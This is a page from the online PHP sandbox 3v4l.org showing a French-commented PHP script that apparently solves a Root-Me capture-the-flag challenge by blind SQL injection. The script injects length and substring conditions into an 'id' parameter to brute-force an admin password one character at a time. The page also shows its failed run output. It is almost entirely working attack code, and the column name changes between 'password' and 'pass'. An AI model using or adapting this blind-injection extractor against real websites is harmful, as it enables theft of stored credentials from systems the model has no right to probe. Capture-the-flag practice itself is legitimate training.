3v4l.org

run code in 300+ PHP versions simultaneously
<?php //On désactive la limite des 30sec d'exécution du script set_time_limit(0); //L'URL standard à exploiter $url="http://challenge01.root-me.org/web-serveur/ch10?id=1"; /* Bruteforce de la longueur du pass */ $max = 40; //La longueur maxi qu'on s'autorise $longueur = 0; echo "Bruteforce de la longueur du mot de passe en cours...<br />"; for($i = 1; $i<$max; $i++){ //On ouvre l'URL $fp = fopen($url . urlencode(" and length(password)=$i"),"r"); $buf = ""; //On lit le résultat while(!feof($fp)) { $buf .= fgets($fp); } //Si on trouve "admin" sur la page if(preg_match("/admin/",$buf)) { echo "La longueur du pass est : $i <br />"; $longueur = $i; break; } } if($longueur == 0) die("Longueur non trouvée"); /* Bruteforce du pass */ $pass = ""; $i = 1; //Plage des caractères ASCII à balayer $borne_inf = 48; $borne_sup = 123; //Initialisation $code = $borne_inf; while($i <= $longueur){ if($code == $borne_sup + 1) $code = $borne_inf; //On ouvre l'URL $fp = fopen($url.urlencode(" and substring(pass,$i,1)=char($code)"),"r"); $ligne = ""; //On lit et on teste while(!feof($fp)) { $ligne .= fgets($fp); } if(preg_match("/admin/",$ligne)) { //Une lettre à été trouvée ! echo "$i eme lettre trouvée : ".chr($code)." <br />"; $pass .= chr($code); //On passe au caractère suivant $i++; $code = $borne_inf; } $code++; } echo "Pass final : $pass <br />"; ?>
Output for git.master, git.master_jit
Bruteforce de la longueur du mot de passe en cours...<br /> Warning: fopen(): php_network_getaddresses: getaddrinfo for challenge01.root-me.org failed: System error in /in/UnOHb on line 12 Warning: fopen(http://challenge01.root-me.org/web-serveur/ch10?id=1+and+length%28password%29%3D1): Failed to open stream: php_network_getaddresses: getaddrinfo for challenge01.root-me.org failed: System error in /in/UnOHb on line 12 Fatal error: Uncaught TypeError: feof(): Argument #1 ($stream) must be of type resource, bool given in /in/UnOHb:15 Stack trace: #0 /in/UnOHb(15): feof(false) #1 {main} thrown in /in/UnOHb on line 15
Process exited with code 255.
Output for rfc.property-hooks
Bruteforce de la longueur du mot de passe en cours...<br /> Warning: fopen(): php_network_getaddresses: getaddrinfo for challenge01.root-me.org failed: System error in /in/UnOHb on line 12 Warning: fopen(http://challenge01.root-me.org/web-serveur/ch10?id=1+and+length%28password%29%3D1): Failed to open stream: php_network_getaddresses: getaddrinfo for challenge01.root-me.org failed: System error in /in/UnOHb on line 12 Fatal error: Uncaught TypeError: feof(): Argument #1 ($stream) must be of type resource, false given in /in/UnOHb:15 Stack trace: #0 /in/UnOHb(15): feof(false) #1 {main} thrown in /in/UnOHb on line 15
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
56.83 ms | 401 KiB | 8 Q